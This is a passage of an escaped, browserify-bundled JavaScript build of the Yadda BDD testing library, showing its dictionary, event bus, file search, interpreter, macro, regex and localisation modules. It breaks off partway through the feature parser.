term_pattern = new RegularExpression(new RegExp('(?:^|[^\\\\\\\\])\\\\' + prefix + '(\\\\w+)', 'g'));\n var _this = this;\n\n this.define = function(term, definition) {\n if (this.is_defined(term)) throw new Error('Duplicate definition: [' + term + ']');\n terms[term] = normalise(definition);\n return this;\n };\n\n this.is_defined = function(term) {\n return terms[term];\n };\n\n this.expand = function(term, already_expanding) {\n if (!is_expandable(term)) return term;\n return expand_sub_terms(term, $(already_expanding));\n };\n\n this.merge = function(other) {\n if (other._prefix() != this._prefix()) throw new Error('Cannot merge dictionaries with different prefixes');\n return new Dictionary(prefix)._merge(this)._merge(other);\n };\n\n this._merge = function(other) {\n other.each_term(this.define.bind(this));\n return this;\n };\n\n this._prefix = function() {\n return prefix;\n };\n\n this.each_term = function(callback) {\n for (key in terms) {\n callback(key, terms[key])\n };\n };\n\n var expand_sub_terms = function(term, already_expanding) {\n return get_sub_terms(term).each(function(sub_term) {\n if (already_expanding.in_array(sub_term)) throw new Error('Circular Definition: \\[' + already_expanding.join(', ') + '\\]');\n var sub_term_definition = expand_sub_term(sub_term, already_expanding);\n return term = term.replace(prefix + sub_term, sub_term_definition);\n });\n };\n\n var get_sub_terms = function(term) {\n return term_pattern.groups(term);\n }\n\n var expand_sub_term = function(sub_term, already_expanding) {\n var definition = terms[sub_term] || '(.+)';\n return is_expandable(definition) ? _this.expand(definition, already_expanding.concat(sub_term)) : definition;\n }\n\n var normalise = function(definition) {\n return definition.toString().replace(/^\\/|\\/$/g, '');\n }\n\n var is_expandable = function(definition) {\n return term_pattern.test(definition);\n };\n};\n\n\nmodule.exports = Dictionary;\n},{\"./Array\":1,\"./RegularExpression\":12}],5:[function(require,module,exports){\n/*\n * Copyright 2010 Acuminous Ltd / Energized Work Ltd\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nvar $ = require('./Array');\nvar fn = require('./fn');\nvar event_bus = new EventBus();\n\n// A communication channel between event emitters and event listeners\nfunction EventBus() {\n\n var event_handlers = $();\n var _this = this;\n\n this.send = function(event_name, event_data, next) {\n if (arguments.length == 1) return this.send(event_name, {});\n if (arguments.length == 2 && fn.is_function(event_data)) return this.send(event_name, {}, event_data); \n notify_handlers(event_name, event_data);\n next && next(); \n return this;\n };\n\n this.on = function(event_pattern, callback) {\n event_handlers.push({ pattern: event_pattern, callback: callback });\n return this;\n };\n\n var notify_handlers = function(event_name, event_data) {\n find_handlers(event_name).each(function(callback) {\n callback({ name: event_name, data: event_data });\n });\n };\n\n var find_handlers = function(event_name) {\n return event_handlers.find_all(function(handler) {\n return new RegExp(handler.pattern).test(event_name);\n }).collect(function(handler) {\n return handler.callback;\n });\n }; \n};\n\nfunction instance() {\n return event_bus;\n};\n\nmodule.exports = {\n instance: instance,\n ON_SCENARIO: '__ON_SCENARIO__',\n ON_STEP: '__ON_STEP__',\n ON_EXECUTE: '__ON_EXECUTE__'\n};\n},{\"./Array\":1,\"./fn\":14}],6:[function(require,module,exports){\n/*\n * Copyright 2010 Acuminous Ltd / Energized Work Ltd\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nvar FileSearch = require('./FileSearch');\n\nvar FeatureFileSearch = function(directories) {\n this.constructor(directories, /.*\\.(?:feature|spec|specification)$/);\n};\nFeatureFileSearch.prototype = new FileSearch();\n\nmodule.exports = FeatureFileSearch;\n},{\"./FileSearch\":7}],7:[function(require,module,exports){\n/*\n * Copyright 2010 Acuminous Ltd / Energized Work Ltd\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nvar shims = require('./shims/index');\nvar path = shims.path;\nvar process = shims.process;\nvar fs = shims.fs;\nvar $ = require('./Array');\n\n// Searches for files in the given directories and their sub-directories, matching at least one of the given patterns\nvar FileSearch = function(directories, patterns) {\n\n var patterns = patterns || /.*/;\n\n this.each = function(fn) {\n this.list().forEach(fn);\n };\n\n this.list = function() {\n return $(directories).inject($(), function(files, directory) {\n return files.concat(list_files(directory).find_all(by_pattern));\n });\n };\n\n var list_files = function(directory) {\n return $(list_immediate_files(directory).concat(list_sub_directory_files(directory)));\n };\n\n var list_immediate_files = function(directory) {\n return ls(directory).find_all(by_file);\n };\n\n var list_sub_directory_files = function(directory) {\n return ls(directory).find_all(by_directory).inject($(), function(files, directory) {\n return files.concat(list_files(directory));\n });\n };\n\n var ls = function(directory) {\n if (!fs.existsSync(directory)) return $();\n return $(fs.readdirSync(directory)).collect(function(file) {\n return path.join(directory, file);\n });\n };\n\n var by_file = function(file) {\n return !by_directory(file);\n };\n\n var by_directory = function(file) {\n return fs.statSync(file).isDirectory();\n }\n\n var by_pattern = function(filename) {\n return $(patterns).find(function(pattern) {\n return new RegExp(pattern).test(filename)\n })\n };\n};\n\nmodule.exports = FileSearch;\n},{\"./Array\":1,\"./shims/index\":30}],8:[function(require,module,exports){\n/*\n * Copyright 2010 Acuminous Ltd / Energized Work Ltd\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nvar Competition = require('./Competition');\nvar Context = require('./Context');\nvar EventBus = require('./EventBus');\nvar $ = require('./Array');\nvar fn = require('./fn');\n\n// Understands a scenario\nvar Interpreter = function(libraries) {\n\n var libraries = $(libraries);\n var event_bus = EventBus.instance();\n var _this = this;\n\n this.requires = function(libraries) {\n libraries.push_all(libraries);\n return this;\n };\n\n this.validate = function(scenario) {\n var results = $(scenario).collect(function(step) {\n return _this.rank_macros(step).validate();\n });\n if (results.find(by_invalid_step)) throw new Error('Scenario cannot be interpreted\\n' + results.collect(validation_report).join('\\n'));\n };\n\n function by_invalid_step(result) {\n return !result.valid; \n };\n\n function validation_report(result) {\n return result.step + (result.valid ? '' : ' <-- ' + result.reason);\n };\n\n this.interpret = function(scenario, scenario_context, next) {\n scenario_context = new Context().merge(scenario_context);\n event_bus.send(EventBus.ON_SCENARIO, { scenario: scenario, ctx: scenario_context.properties });\n var iterator = make_step_iterator(scenario_context, next);\n $(scenario).each_async(iterator, next);\n };\n\n var make_step_iterator = function(scenario_context, next) {\n var iterator = function(step, index, callback) {\n _this.interpret_step(step, scenario_context, callback);\n };\n return next ? iterator : fn.asynchronize(null, iterator); \n };\n\n this.interpret_step = function(step, scenario_context, next) {\n var context = new Context().merge(scenario_context);\n event_bus.send(EventBus.ON_STEP, { step: step, ctx: context.properties }); \n this.rank_macros(step).clear_winner().interpret(step, context || {}, next);\n }; \n\n this.rank_macros = function(step) {\n return new Competition(step, compatible_macros(step));\n };\n\n var compatible_macros = function(step) {\n return libraries.inject([], function(macros, library) {\n return macros.concat(library.find_compatible_macros(step));\n });\n };\n};\n\nmodule.exports = Interpreter;\n},{\"./Array\":1,\"./Competition\":2,\"./Context\":3,\"./EventBus\":5,\"./fn\":14}],9:[function(require,module,exports){\n/*\n * Copyright 2010 Acuminous Ltd / Energized Work Ltd\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n// Understands similarity of two strings\nvar LevenshteinDistanceScore = function(s1, s2) {\n\n this.value;\n this.type = 'LevenshteinDistanceScore'; \n var distance_table;\n var _this = this;\n\n var initialise = function() {\n\n var x = s1.length;\n var y = s2.length;\n\n distance_table = new Array(x + 1);\n\n for (i = 0; i <= x; i++) {\n distance_table[i] = new Array(y + 1);\n }\n\n for (var i = 0; i <= x; i++) {\n for (var j = 0; j <= y; j++) {\n distance_table[i][j] = 0;\n }\n }\n\n for (var i = 0; i <= x; i++) {\n distance_table[i][0] = i;\n }\n\n for (var j = 0; j <= y; j++) {\n distance_table[0][j] = j;\n }\n };\n\n var score = function() {\n\n if (s1 == s2) return _this.value = 0;\n\n for (var j = 0; j < s2.length; j++) {\n for (var i = 0; i < s1.length; i++) {\n if (s1[i] == s2[j]) {\n distance_table[i+1][j+1] = distance_table[i][j];\n } else {\n var deletion = distance_table[i][j+1] + 1;\n var insertion = distance_table[i+1][j] + 1;\n var substitution = distance_table[i][j] + 1;\n distance_table[i+1][j+1] = Math.min(substitution, deletion, insertion)\n }\n }\n }\n _this.value = distance_table[s1.length][s2.length];\n };\n\n this.beats = function(other) {\n return this.value < other.value;\n } \n\n this.equals = function(other) {\n if (!other) return false;\n return (this.type == other.type && this.value == other.value);\n } \n\n initialise();\n score();\n};\n\nmodule.exports = LevenshteinDistanceScore;\n},{}],10:[function(require,module,exports){\n/*\n * Copyright 2010 Acuminous Ltd / Energized Work Ltd\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nvar Macro = require('./Macro');\nvar Dictionary = require('./Dictionary');\nvar $ = require('./Array');\n\n// Understands how to index macros\nvar Library = function(dictionary) {\n\n var dictionary = dictionary || new Dictionary();\n var macros = $();\n var _this = this; \n\n this.define = function(signatures, fn, macro_context) {\n $(signatures).each(function(signature) { \n define_macro(signature, fn, macro_context);\n });\n return this; \n };\n\n var define_macro = function(signature, fn, macro_context) {\n if (_this.get_macro(signature)) throw new Error('Duplicate macro: [' + signature + ']');\n macros.push(new Macro(signature, dictionary.expand(signature), fn, macro_context));\n }\n\n this.get_macro = function(signature) { \n return macros.find(function(other_macro) {\n return other_macro.is_identified_by(signature);\n });\n };\n\n this.find_compatible_macros = function(step) {\n return macros.find_all(function(macro) {\n return macro.can_interpret(step);\n });\n };\n};\n\nmodule.exports = Library;\n},{\"./Array\":1,\"./Dictionary\":4,\"./Macro\":11}],11:[function(require,module,exports){\n/*\n * Copyright 2010 Acuminous Ltd / Energized Work Ltd\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nvar fn = require('./fn');\nvar Context = require('./Context');\nvar RegularExpression = require('./RegularExpression');\nvar EventBus = require('./EventBus');\n\n// Understands how to invoke a step\nvar Macro = function(signature, signature_pattern, macro, macro_context) {\n\n var signature_pattern = new RegularExpression(signature_pattern);\n var macro = macro || fn.async_noop;\n var event_bus = EventBus.instance();\n var _this = this;\n\n var init = function(signature, signature_pattern) {\n _this.signature = normalise(signature);\n }\n\n this.is_identified_by = function(other_signature) {\n return this.signature == normalise(other_signature);\n };\n\n this.can_interpret = function(step) {\n return signature_pattern.test(step);\n };\n\n this.interpret = function(step, scenario_context, next) {\n var context = new Context().merge(macro_context).merge(scenario_context);\n var args = signature_pattern.groups(step);\n event_bus.send(EventBus.ON_EXECUTE, { step: step, ctx: context.properties, pattern: signature_pattern.toString(), args: args });\n fn.invoke(macro, context.properties, args.concat(next));\n };\n\n this.levenshtein_signature = function() {\n return signature_pattern.without_expressions();\n };\n\n var normalise = function(signature) {\n return new RegExp(signature).toString();\n }\n\n this.toString = function() {\n return this.signature;\n };\n\n init(signature, signature_pattern);\n};\n\nmodule.exports = Macro;\n\n},{\"./Context\":3,\"./EventBus\":5,\"./RegularExpression\":12,\"./fn\":14}],12:[function(require,module,exports){\n/*\n * Copyright 2010 Acuminous Ltd / Energized Work Ltd\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n \nvar $ = require('./Array');\n\n// Wrapper for JavaScript Regular Expressions\nvar RegularExpression = function(pattern_or_regexp) {\n\n var groups_pattern = /(^|[^\\\\\\\\])\\(.*?\\)/g;\n var sets_pattern = /(^|[^\\\\\\\\])\\[.*?\\]/g;\n var repetitions_pattern = /(^|[^\\\\\\\\])\\{.*?\\}/g;\n var regex_aliases_pattern = /(^|[^\\\\\\\\])\\\\./g;\n var non_word_tokens_pattern = /[^\\w\\s]/g;\n var regexp = new RegExp(pattern_or_regexp);\n\n this.test = function(text) {\n var result = regexp.test(text);\n this.reset(); \n return result;\n }; \n\n this.groups = function(text) {\n var results = $();\n var match = regexp.exec(text);\n while (match) { \n var groups = match.slice(1, match.length);\n results.push(groups)\n match = regexp.global && regexp.exec(text)\n }\n this.reset();\n return results.flatten(); \n }; \n\n this.reset = function() {\n regexp.lastIndex = 0;\n return this;\n };\n\n this.without_expressions = function() {\n return regexp.source.replace(groups_pattern, '$1')\n .replace(sets_pattern, '$1')\n .replace(repetitions_pattern, '$1')\n .replace(regex_aliases_pattern, '$1')\n .replace(non_word_tokens_pattern, '');\n }; \n\n this.equals = function(other) {\n return this.toString() == other.toString();\n }; \n\n this.toString = function() {\n return \"/\" + regexp.source + \"/\";\n };\n};\n\nmodule.exports = RegularExpression;\n},{\"./Array\":1}],13:[function(require,module,exports){\n/*\n * Copyright 2010 Acuminous Ltd / Energized Work Ltd\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nvar Interpreter = require('./Interpreter');\nvar Context = require('./Context');\nvar fn = require('./fn');\n\n// Provides a repetitive interface, i.e. new Yadda().yadda().yadda() to the Yadda Interpreter\nvar Yadda = function(libraries, interpreter_context) {\n\n this.interpreter = new Interpreter(libraries);\n var _this = this;\n\n this.requires = function(libraries) {\n this.interpreter.requires(libraries);\n return this;\n };\n\n this.yadda = function(scenario, scenario_context, next) {\n if (arguments.length == 0) return this;\n if (arguments.length == 2 && fn.is_function(scenario_context)) return this.yadda(scenario, {}, scenario_context);\n this.interpreter.validate(scenario);\n this.interpreter.interpret(scenario, new Context().merge(interpreter_context).merge(scenario_context), next);\n };\n\n this.toString = function() {\n return \"Yadda 0.9.9 Copyright 2010 Acuminous Ltd / Energized Work Ltd\";\n };\n};\n\nmodule.exports = Yadda;\n\n},{\"./Context\":3,\"./Interpreter\":8,\"./fn\":14}],14:[function(require,module,exports){\n/*\n * Copyright 2010 Acuminous Ltd / Energized Work Ltd\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nmodule.exports = (function() {\n\n var slice = Array.prototype.slice;\n\n function curry(ctx, fn) {\n var args = slice.call(arguments, 2);\n return function() {\n return fn.apply(ctx, args.concat(slice.call(arguments)));\n }\n };\n\n function invoke(fn, ctx, args) {\n return fn.apply(ctx, args);\n };\n\n function is_function(object) {\n var getType = {};\n return object && getType.toString.call(object) === '[object Function]';\n };\n\n function noop() {};\n\n function asynchronize(ctx, fn) {\n return function() {\n var next = slice.call(arguments, arguments.length - 1)[0];\n var args = slice.call(arguments, 0, arguments.length - 2);\n fn.apply(ctx, args);\n if (next) next();\n };\n };\n\n return {\n noop: noop,\n async_noop: asynchronize(null, noop), \n asynchronize: asynchronize,\n is_function: is_function,\n curry: curry,\n invoke: invoke\n };\n\n\n})();\n\n},{}],\"yadda\":[function(require,module,exports){\nmodule.exports=require('3V0FPO');\n},{}],\"3V0FPO\":[function(require,module,exports){\nmodule.exports = {\n Yadda: require('./Yadda'),\n EventBus: require('./EventBus'),\n Interpreter: require('./Interpreter'),\n Context: require('./Context'),\n Library: require('./Library'),\n Dictionary: require('./Dictionary'),\n FeatureFileSearch: require('./FeatureFileSearch'), \n FileSearch: require('./FileSearch'),\n localisation: require('./localisation/index'),\n parsers: require('./parsers/index'),\n plugins: require('./plugins/index'),\n shims: require('./shims/index')\n};\n\n},{\"./Context\":3,\"./Dictionary\":4,\"./EventBus\":5,\"./FeatureFileSearch\":6,\"./FileSearch\":7,\"./Interpreter\":8,\"./Library\":10,\"./Yadda\":13,\"./localisation/index\":23,\"./parsers/index\":26,\"./plugins/index\":29,\"./shims/index\":30}],17:[function(require,module,exports){\n/*\n * Copyright 2010 Acuminous Ltd / Energized Work Ltd\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nvar Language = require('./Language');\n\nmodule.exports = (function() {\n\n var vocabulary = {\n feature: '[Ff]eature',\n scenario: '[Ss]cenario',\n examples: '(?:[Ee]xamples|[Ww]here)',\n pending: 'Pending',\n given: '(?:[Gg]iven|[Ww]ith|[Aa]nd|[Bb]ut|[Ee]xcept)',\n when: '(?:[Ww]hen|[Ii]f|[Aa]nd|[Bb]ut)',\n then: '(?:[Tt]hen|[Ee]xpect|[Aa]nd|[Bb]ut)',\n _steps: ['given', 'when', 'then']\n };\n\n return new Language('English', vocabulary);\n})();\n},{\"./Language\":19}],18:[function(require,module,exports){\n/* -*- coding: utf-8 -*-\n * Copyright 2010 Acuminous Ltd / Energized Work Ltd\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nvar Language = require('./Language');\n\nmodule.exports = (function() {\n \n var vocabulary = {\n feature: '(?:[Ff]onctionnalité)',\n scenario: '(?:[Ss]cénario)',\n examples: '(?:[Ee]xemples|[Ee]xemple|[Oo][uù])',\n pending: 'En attente',\n given: '(?:[Ss]oit|[ÉéEe]tant données|[ÉéEe]tant donnée|[ÉéEe]tant donnés|[ÉéEe]tant donné|[Aa]vec|[Ee]t|[Mm]ais|[Aa]ttendre)',\n when: '(?:[Qq]uand|[Ll]orsqu\\'|[Ll]orsque|[Ss]i|[Ee]t|[Mm]ais)',\n then: '(?:[Aa]lors|[Aa]ttendre|[Ee]t|[Mm]ais)',\n \n _steps: [\n 'given', 'when', 'then', \n 'soit', 'etantdonnees', 'etantdonnee', 'etantdonne',\n 'quand', 'lorsque',\n 'alors'\n ],\n // Also aliasing French verbs for given-when-then for signature-lookup\n get soit() { return this.given },\n get etantdonnees() { return this.given },\n get etantdonnee() { return this.given },\n get etantdonne() { return this.given },\n get quand() { return this.when },\n get lorsque() { return this.when },\n get alors() { return this.then }\n };\n \n return new Language('French', vocabulary);\n})();\n\n\n\n},{\"./Language\":19}],19:[function(require,module,exports){\n/*\n * Copyright 2010 Acuminous Ltd / Energized Work Ltd\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nvar Library = require('../Library');\nvar $ = require('../Array');\n\nmodule.exports = function(name, vocabulary) {\n\n var _this = this;\n\n this.library = function(dictionary) {\n return _this.localise_library(new Library(dictionary));\n };\n\n this.localise_library = function(library) {\n $(vocabulary._steps).each(function(keyword) {\n library[keyword] = function(signatures, fn, ctx) {\n return $(signatures).each(function(signature) {\n var signature = prefix_signature(_this.localise(keyword), signature);\n return library.define(signature, fn, ctx);\n });\n };\n });\n return library;\n };\n\n var prefix_signature = function(prefix, signature) {\n var regex_delimiters = new RegExp('^/|/$', 'g');\n var start_of_signature = new RegExp(/^(?:\\^)?/);\n var one_or_more_spaces = '\\\\s+';\n return signature.toString().replace(regex_delimiters, '').replace(start_of_signature, prefix + one_or_more_spaces);\n };\n\n this.localise = function(keyword) {\n if (vocabulary[keyword] == undefined) throw new Error('Keyword \"' + keyword + '\" has not been translated into ' + name + '.');\n return vocabulary[keyword];\n };\n};\n},{\"../Array\":1,\"../Library\":10}],20:[function(require,module,exports){\n/*\n * Copyright 2010 Acuminous Ltd / Energized Work Ltd\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nvar Language = require('./Language');\n\nmodule.exports = (function() {\n\n var vocabulary = {\n feature: '[Ee]genskap',\n scenario: '[Ss]cenario',\n examples: '[Ee]ksempler',\n pending: 'Avventer',\n given: '(?:[Gg]itt|[Mm]ed|[Oo]g|[Mm]en|[Uu]nntatt)',\n when: '(?:[Nn]år|[Oo]g|[Mm]en)',\n then: '(?:[Ss]å|[Ff]forvent|[Oo]g|[Mm]en)',\n _steps: ['given', 'when', 'then', 'gitt', 'når', 'så'],\n // Also aliasing Norwegian verbs for given-when-then for signature-lookup\n get gitt() { return this.given },\n get når() { return this.when },\n get så() { return this.then }\n };\n\n return new Language('Norwegian', vocabulary);\n})();\n\n},{\"./Language\":19}],21:[function(require,module,exports){\n/*\n * Copyright 2010 Acuminous Ltd / Energized Work Ltd\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nvar Language = require('./Language');\n\nmodule.exports = (function() {\n\n var vocabulary = {\n feature: '(?:[Tt]ale|[Yy]arn)',\n scenario: '(?:[Aa]dventure|[Ss]ortie)',\n examples: '[Ww]herest',\n pending: 'Brig',\n given: '(?:[Gg]iveth|[Ww]ith|[Aa]nd|[Bb]ut|[Ee]xcept)',\n when: '(?:[Ww]hence|[Ii]f|[Aa]nd|[Bb]ut)',\n then: '(?:[Tt]hence|[Ee]xpect|[Aa]nd|[Bb]ut)',\n _steps: ['given', 'when', 'then', 'giveth', 'whence', 'thence'],\n // Also aliasing Pirate verbs for given-when-then for signature-lookup\n get giveth() { return this.given },\n get whence() { return this.when },\n get thence() { return this.then } \n\n };\n\n return new Language('Pirate', vocabulary);\n})();\n\n},{\"./Language\":19}],22:[function(require,module,exports){\n/* -*- coding: utf-8 -*-\n * Copyright 2010 Acuminous Ltd / Energized Work Ltd\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nvar Language = require('./Language');\n\nmodule.exports = (function() {\n \n var vocabulary = {\n feature: '(?:[Ff]uncionalidad|[Cc]aracterística)',\n scenario: '(?:[Ee]scenario|[Cc]aso)',\n examples: '(?:[Ee]jemplos|[Ee]jemplo)',\n pending: 'Pendiente',\n given: '(?:[Ss]ea|[Ss]ean|[Dd]ado|[Dd]ada|[Dd]ados|[Dd]adas)',\n when: '(?:[Cc]uando|[Ss]i|[Qq]ue)',\n then: '(?:[Ee]ntonces)',\n \n _steps: [\n 'given', 'when', 'then', \n 'sea', 'sean', 'dado', 'dada','dados', 'dadas',\n 'cuando', 'si',\n 'entonces'\n ],\n\n get sea() { return this.given },\n get sean() { return this.given },\n get dado() { return this.given },\n get dada() { return this.given },\n get dados() { return this.given },\n get dadas() { return this.given },\n get cuando() { return this.when },\n get si() { return this.when },\n get entonces() { return this.then }\n };\n \n return new Language('Spanish', vocabulary);\n})();\n\n\n\n},{\"./Language\":19}],23:[function(require,module,exports){\n/*\n * Copyright 2010 Acuminous Ltd / Energized Work Ltd\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nmodule.exports = {\n English: require('./English'),\n Spanish: require('./Spanish'),\n French: require('./French'),\n Norwegian: require('./Norwegian'),\n Pirate: require('./Pirate'),\n Language: require('./Language')\n}\n},{\"./English\":17,\"./French\":18,\"./Language\":19,\"./Norwegian\":20,\"./Pirate\":21,\"./Spanish\":22}],24:[function(require,module,exports){\n/*\n * Copyright 2010 Acuminous Ltd / Energized Work Ltd\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nvar $ = require('../Array');\nvar fn = require('../fn');\n\nvar English = require('../localisation/English');\n\nvar FeatureParser = function(language) {\n\n var language = language || English;\n\n var FEATURE_REGEX = new RegExp('^\\\\s*' + language.localise('feature') + ':\\\\s*(.*)', 'i');\n var SCENARIO_REGEX = new RegExp('^\\\\s*' + language.localise('scenario') + ':\\\\s*(.*)', 'i');\n var EXAMPLES_REGEX = new RegExp('^\\\\s*' + language.localise('examples') + ':', 'i');\n var TEXT_REGEX = new RegExp('^\\\\s*([^\\\\s].*)', 'i');\n var SINGLE_LINE_COMMENT_REGEX = new RegExp('^\\\\s*#');\n var MULTI_LINE_COMMENT_REGEX = new RegExp('^\\\\s*#{3,}')\n var BLANK_REGEX = new RegExp('^\\\\s*$');\n var SIMPLE_ANNOTATION_REGEX = new RegExp('^@([^=]*)$');\n var NVP_ANNOTATION_REGEX = new RegExp('^@([^=]*)=(.*)$');\n\n var specification = undefined;\n var comment = undefined;\n var line = undefined;\n var line_number = 0;\n\n this.parse = function(text, next) {\n reset();\n split(text).each(parse_line);\n return next && next(specification.export()) || specification.export();\n };\n\n function reset() {\n specification = new Specification();\n comment = false;\n line_number = 0;\n };\n\n function split(text) {\n return $(text.split(/\\r\\n|\\n/));\n };\n\n function parse_line(line, index) {\n var match;\n try {\n if (match = MULTI_LINE_COMMENT_REGEX.test(line)) return comment = !comment;\n if (match = 